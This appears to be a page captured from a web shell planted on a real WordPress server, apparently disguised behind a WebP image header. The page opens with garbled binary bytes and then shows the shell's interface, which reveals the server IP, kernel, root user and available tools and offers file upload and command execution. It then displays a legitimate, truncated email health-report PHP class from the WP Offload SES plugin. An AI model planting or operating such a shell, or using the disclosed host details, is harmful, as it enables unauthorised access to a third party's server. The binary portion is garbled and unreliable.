RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/advanced-air/wp-content/plugins/wp-ses/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/advanced-air/wp-content/plugins/wp-ses/classes/Health-Report.php
<?php
/**
 * Email Health Report for WP Offload SES.
 *
 * @author  Delicious Brains
 * @package WP Offload SES
 */

namespace DeliciousBrains\WP_Offload_SES;

use DateTime;
use Exception;
use phpmailerException;
use WPDB;

/**
 * Class Pro_Health_Report.
 *
 * @since 1.4.0
 */
class Health_Report {
	/**
	 * Stores the ID used for cron events.
	 *
	 * @var string
	 */
	protected $cron_id;

	/**
	 * Stores the ID used for network cron events.
	 *
	 * @var string
	 */
	protected $network_cron_id;

	/**
	 * Stores the WordPress database class.
	 *
	 * @var WPDB
	 */
	protected $database;

	/**
	 * Stores the main plugin class.
	 *
	 * @var WP_Offload_SES
	 */
	protected $wposes;

	/**
	 * The most records we should show in a table.
	 *
	 * @var int
	 */
	protected $table_limit = 5;

	/**
	 * The table used to store email logs.
	 *
	 * @var string
	 */
	protected $emails_table;

	/**
	 * The table used to store click data.
	 *
	 * @var string
	 */
	protected $clicks_table;

	/**
	 * Whether this is a network-level report.
	 *
	 * @var bool
	 */
	protected $is_network_report = false;

	/**
	 * Constructs the Health_Report class.
	 *
	 * @param WP_Offload_SES $wp_offload_ses The main WP Offload SES class.
	 *
	 * @throws Exception
	 */
	public function __construct( WP_Offload_SES $wp_offload_ses ) {
		global $wpdb;

		$this->cron_id         = 'deliciousbrains_wp_offload_ses_health_report';
		$this->network_cron_id = 'deliciousbrains_wp_offload_ses_network_health_report';
		$this->database        = $wpdb;
		$this->wposes          = $wp_offload_ses;
		$this->emails_table    = $this->database->base_prefix . 'oses_emails';
		$this->clicks_table    = $this->database->base_prefix . 'oses_clicks';

		$this->init( $this->cron_id );

		if ( is_multisite() && is_main_site() ) {
			$this->set_network_report();
			$this->init( $this->network_cron_id );
		}
	}

	/**
	 * Initiates the cron for the health report.
	 *
	 * @param string $cron The cron to use.
	 *
	 * @return bool
	 * @throws Exception
	 */
	public function init( string $cron ): bool {
		if ( ! $this->is_enabled() ) {
			wp_clear_scheduled_hook( $cron, array( $this->is_network_report ) );

			return false;
		}

		$send_time      = $this->get_next_send_time();
		$next_scheduled = wp_next_scheduled( $cron, array( $this->is_network_report ) );

		// Invalid send time.
		if ( ! $send_time ) {
			wp_clear_scheduled_hook( $cron, array( $this->is_network_report ) );

			return false;
		}

		// Not scheduled yet.
		if ( ! $next_scheduled ) {
			wp_schedule_single_event( $send_time, $cron, array( $this->is_network_report ) );

			return true;
		}

		$current_date        = (int) date( 'z', current_time( 'timestamp', 1 ) );
		$next_scheduled_date = (int) date( 'z', $next_scheduled );
		$expected_time       = $send_time;

		if ( $next_scheduled_date === $current_date ) {
			$expected_time = $this->get_next_send_time( '-1 day' );
		}

		// Frequency has changed, schedule a new cron.
		if ( $next_scheduled !== $expected_time ) {
			wp_clear_scheduled_hook( $cron, array( $this->is_network_report ) );
			wp_schedule_single_event( $send_time, $cron, array( $this->is_network_report ) );
		}

		add_action( $cron, array( $this, 'send' ), 10, 1 );

		return true;
	}

	/**
	 * Returns a timestamp of the next time the report should send.
	 *
	 * @param string $offset Offsets the current time.
	 *
	 * @return int|bool
	 * @throws Exception
	 */
	public function get_next_send_time( string $offset = '' ) {
		$frequency = $this->get_frequency();
		$time      = current_time( 'mysql' );
		$format    = 'Y-m-d H:i:s';

		if ( '' !== $offset ) {
			$date = DateTime::createFromFormat( $format, $time );
			$date = $date->modify( $offset );
			$time = $date->format( $format );
		}

		switch ( $frequency ) {
			case 'monthly':
				$date        = DateTime::createFromFormat( $format, $time );
				$day_to_send = $date->modify( 'first day of next month' );
				break;
			case 'daily':
				$date        = DateTime::createFromFormat( $format, $time );
				$day_to_send = $date->modify( '+1 day' );
				break;
			case 'weekly':
			default:
				$week_start_end = get_weekstartend( $time );
				$week_end       = new DateTime( '@' . $week_start_end['end'] );
				$day_to_send    = $week_end->modify( '+1 day' );
				break;
		}

		$send_time = apply_filters( 'wposes_health_report_send_time', '8am' );
		$send_time = $day_to_send->modify( $send_time );

		if ( ! $send_time ) {
			return false;
		}

		/**
		 * WordPress cron always runs on GMT, so we need to convert
		 * our calculated local time into a GMT timestamp.
		 */
		$timestamp = get_gmt_from_date( $send_time->format( $format ), 'U' );

		return (int) $timestamp;
	}

	/**
	 * Checks if the health report has been enabled.
	 *
	 * @return bool
	 */
	public function is_enabled(): bool {
		$is_enabled = $this->wposes->settings->get_setting( 'enable-health-report', false );

		if ( ! is_multisite() ) {
			return $is_enabled;
		}

		$subsite_settings_enabled    = $this->wposes->settings->get_setting( 'enable-subsite-settings', false );
		$overriding_network_settings = $this->wposes->settings->get_setting( 'override-network-settings', false );
		$is_network_enabled          = $this->wposes->settings->get_network_setting( 'enable-health-report', false );

		// Just checking if it's been network enabled.
		if ( $this->is_network_report() ) {
			return $is_network_enabled;
		}

		// Subsite can't override.
		if ( ! $subsite_settings_enabled ) {
			return false;
		}

		// Subsite isn't overriding.
		if ( ! $overriding_network_settings ) {
			return $is_network_enabled;
		}

		// Subsite is overriding, OK to use subsite settings.
		return $is_enabled;
	}

	/**
	 * Sets the report to be a network report.
	 *
	 * @param bool $network If this is a network report.
	 */
	public function set_network_report( bool $network = true ) {
		$this->is_network_report = $network;
	}

	/**
	 * Checks if the report is a network report.
	 *
	 * @return bool
	 */
	public function is_network_report(): bool {
		return $this->is_network_report;
	}

	/**
	 * Checks if the report should be sent out at the subsite level.
	 *
	 * @return bool
	 */
	public function is_subsite_report(): bool {
		if ( ! is_multisite() ) {
			return false;
		}

		return ! $this->is_network_report();
	}

	/**
	 * Sends the report.
	 *
	 * @param bool $network If this is a network report.
	 *
	 * @return bool
	 * @throws phpmailerException
	 */
	public function send( bool $network = false ): bool {
		$this->set_network_report( $network );

		if ( ! $this->should_send() ) {
			return false;
		}

		ob_start();
		$this->wposes->render_view( 'health-report' );
		$content = ob_get_clean();

		$subject    = $this->get_report_subject();
		$recipients = $this->get_recipients();
		$headers    = array( 'Content-Type: text/html' );

		$email  = new Email( $recipients, $subject, $content, $headers, array() );
		$raw    = $email->prepare();
		$result = $this->wposes->get_ses_api()->send_email( $raw );

		if ( is_wp_error( $result ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if we should send out the health report.
	 *
	 * @return bool
	 */
	public function should_send(): bool {
		if ( ! $this->wposes->settings->get_setting( 'send-via-ses' ) || ! $this->is_enabled() ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets the available report frequencies.
	 *
	 * @return array
	 */
	public function get_available_frequencies(): array {
		return array(
			'daily'   => __( 'Daily (upgrade required)', 'wp-offload-ses' ),
			'weekly'  => __( 'Weekly', 'wp-offload-ses' ),
			'monthly' => __( 'Monthly', 'wp-offload-ses' ),
		);
	}

	/**
	 * Gets the available report recipients.
	 *
	 * @return array
	 */
	public function get_available_recipients(): array {
		return array(
			'site-admins' => __( 'Site Admins', 'wp-offload-ses' ),
			'custom'      => __( 'Custom (upgrade required)', 'wp-offload-ses' ),
		);
	}

	/**
	 * Gets the translated length of the reporting period.
	 *
	 * @return string
	 */
	public function get_reporting_period(): string {
		$frequency = $this->get_frequency();
		$text      = array(
			'daily'   => __( 'day', 'wp-offload-ses' ),
			'weekly'  => __( 'week', 'wp-offload-ses' ),
			'monthly' => __( 'month', 'wp-offload-ses' ),
		);

		if ( isset( $text[ $frequency ] ) ) {
			return $text[ $frequency ];
		}

		return __( 'reporting period', 'wp-offload-ses' );
	}

	/**
	 * Gets the frequency that the report should be sent out at.
	 *
	 * @return string
	 */
	public function get_frequency(): string {
		if ( $this->is_network_report() ) {
			return $this->wposes->settings->get_network_setting( 'health-report-frequency', 'weekly' );
		}

		return $this->wposes->settings->get_setting( 'health-report-frequency', 'weekly' );
	}

	/**
	 * Gets the recipients of the report.
	 *
	 * @return array
	 */
	public function get_recipients(): array {
		$recipients = array();

		if ( $this->is_network_report() ) {
			$admins      = array();
			$site_admins = get_site_option( 'site_admins' );
			foreach ( $site_admins as $admin ) {
				$admins[] = get_user_by( 'slug', $admin );
			}
		} else {
			$admins = get_users( 'role=Administrator' );
		}

		foreach ( $admins as $admin ) {
			$recipients[] = $admin->user_email;
		}

		return $recipients;
	}

	/**
	 * Gets the report start date.
	 *
	 * @return string
	 * @throws Exception
	 */
	public function get_report_start_date(): string {
		$frequency  = $this->get_frequency();
		$end_date   = $this->get_report_end_date();
		$start_date = new Datetime( $end_date );

		switch ( $frequency ) {
			case 'daily':
				// Just use start date as is.
				break;
			case 'monthly':
				$start_date = $start_date->modify( 'first day of this month' );
				break;
			case 'weekly':
			default:
				$start_date = $start_date->modify( '-6 days' );
				break;
		}

		return $start_date->format( 'Y-m-d 00:00:00' );
	}

	/**
	 * Gets the report end date.
	 *
	 * @return string
	 */
	public function get_report_end_date(): string {
		$format = 'Y-m-d H:i:s';
		$date   = DateTime::createFromFormat( $format, current_time( 'mysql' ) );

		$date->modify( '-1 day' );

		return $date->format( 'Y-m-d 23:59:59' );
	}

	/**
	 * Gets the start of the week.
	 *
	 * @return int
	 */
	public function get_week_start(): int {
		return get_option( 'start_of_week', 1 );
	}

	/**
	 * Get plugin name.
	 *
	 * @return string
	 */
	public function get_plugin_name(): string {
		return __( 'WP Offload SES Lite', 'wp-offload-ses' );
	}

	/**
	 * Get the plugin logo used in the email header/footer.
	 *
	 * @return string
	 */
	public function get_plugin_logo(): string {
		$src = $this->wposes->plugins_url( 'assets/img/SES-circle.png' );
		$src = apply_filters( 'as3cf_get_asset', $src );

		return '<img width="50" alt="" style="width: 50px; display: block;" src="' . esc_url( $src ) . '" />';
	}

	/**
	 * Gets the "View Full Report" URL.
	 *
	 * @param string $which The type of report to get.
	 *
	 * @return string
	 */
	public function get_view_full_report_link( string $which ): string {
		$args = array(
			'hash'   => 'activity',
			'status' => 'sent' === $which ? 'sent' : 'failed',
		);

		$method = $this->is_subsite_report() ? 'self' : 'network';

		return sprintf(
			'<a href="%1$s" style="float: right;">%2$s</a>',
			esc_url( $this->wposes->get_plugin_page_url( $args, $method ) ),
			__( 'View Full Report', 'wp-offload-ses' )
		);
	}

	/**
	 * Gets the subject for the report.
	 *
	 * @return string
	 */
	public function get_report_subject(): string {
		$domain = Utils::current_base_domain();

		if ( is_multisite() && ! is_main_site() ) {
			$parts  = parse_url( home_url() );
			$url    = $parts['host'] . ( $parts['path'] ?? '' );
			$domain = untrailingslashit( $url );
		}

		return sprintf(
			__( '[WP Offload SES] %1$s email sending health for %2$s', 'wp-offload-ses' ),
			$this->get_report_date_range(),
			$domain
		);
	}

	/**
	 * Gets the date range used in the email header.
	 *
	 * @return string
	 * @throws Exception
	 */
	public function get_report_date_range(): string {
		$frequency = $this->get_frequency();
		$format    = get_option( 'date_format' );
		$start     = new DateTime( $this->get_report_start_date() );
		$end       = new DateTime( $this->get_report_end_date() );

		if ( 'daily' === $frequency ) {
			// Daily frequency doesn't require a range.
			return $start->format( $format );
		}

		return sprintf(
			__( '%1$s through %2$s', 'wp-offload-ses' ),
			$start->format( $format ),
			$end->format( $format )
		);
	}

	/**
	 * Gets the total number of different subjects sent
	 * during the report period.
	 *
	 * @return int
	 * @throws Exception
	 */
	public function get_total_subjects_sent(): int {
		$subsite_sql = '';

		if ( $this->is_subsite_report() ) {
			$subsite_id  = get_current_blog_id();
			$subsite_sql = "AND emails.subsite_id = $subsite_id";
		}

		$query = $this->database->prepare(
			"SELECT COUNT(DISTINCT(emails.email_subject))
			FROM {$this->emails_table} emails
			WHERE emails.email_status = 'sent'
			{$subsite_sql}
			AND emails.email_created >= %s
			AND emails.email_created <= %s",
			$this->get_report_start_date(),
			$this->get_report_end_date()
		);

		return (int) $this->database->get_var( $query );
	}

	/**
	 * Gets an array of the emails sent, used to populate
	 * the table in the health report.
	 *
	 * @return array
	 * @throws Exception
	 */
	public function get_sent_emails(): array {
		$subsite_sql = '';

		if ( $this->is_subsite_report() ) {
			$subsite_id  = get_current_blog_id();
			$subsite_sql = "AND emails.subsite_id = $subsite_id";
		}

		$query = $this->database->prepare(
			"SELECT emails.email_subject AS subject,
			COUNT(DISTINCT emails.email_id) AS emails_sent
			FROM {$this->emails_table} emails
			WHERE emails.email_created >= %s
			AND emails.email_created <= %s
			{$subsite_sql}
			AND emails.email_status = 'sent'
			GROUP BY subject
			ORDER BY emails_sent DESC
			LIMIT {$this->table_limit}",
			$this->get_report_start_date(),
			$this->get_report_end_date()
		);

		$sent_emails = $this->database->get_results( $query, ARRAY_A );

		return array_map(
			function ( $value ) {
				$upgrade_url  = $this->wposes->dbrains_url(
					'/wp-offload-ses/',
					array(
						'utm_campaign' => 'WP+Offload+SES+Upgrade',
						'utm_content'  => 'health+report',
					)
				);
				$upgrade_link = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url( $upgrade_url ),
					__( 'Upgrade', 'wp-offload-ses' )
				);

				$value['open_count']  = $upgrade_link;
				$value['click_count'] = $upgrade_link;

				return $value;
			},
			$sent_emails
		);
	}

	/**
	 * Gets the total number of email failures sent
	 * during the report period.
	 *
	 * @return int
	 * @throws Exception
	 */
	public function get_total_email_failures(): int {
		$subsite_sql = '';

		if ( $this->is_subsite_report() ) {
			$subsite_id  = get_current_blog_id();
			$subsite_sql = "AND emails.subsite_id = $subsite_id";
		}

		$query = $this->database->prepare(
			"SELECT COUNT(*)
			FROM {$this->emails_table} emails
			WHERE emails.email_status = 'failed'
			{$subsite_sql}
			AND emails.email_created >= %s
			AND emails.email_created <= %s",
			$this->get_report_start_date(),
			$this->get_report_end_date()
		);

		return (int) $this->database->get_var( $query );
	}

	/**
	 * Gets an array of emails that failed,
	 * used to populate the table in the health report.
	 *
	 * @return array
	 * @throws Exception
	 */
	public function get_failed_emails(): array {
		$subsite_sql = '';

		if ( $this->is_subsite_report() ) {
			$subsite_id  = get_current_blog_id();
			$subsite_sql = "AND emails.subsite_id = $subsite_id";
		}

		$query = $this->database->prepare(
			"SELECT emails.email_id AS id,
				emails.email_subject AS subject,
				emails.email_created AS date,
				emails.email_to AS recipient
			FROM {$this->emails_table} emails
			WHERE emails.email_created >= %s
			AND emails.email_created <= %s
			AND emails.email_status = 'failed'
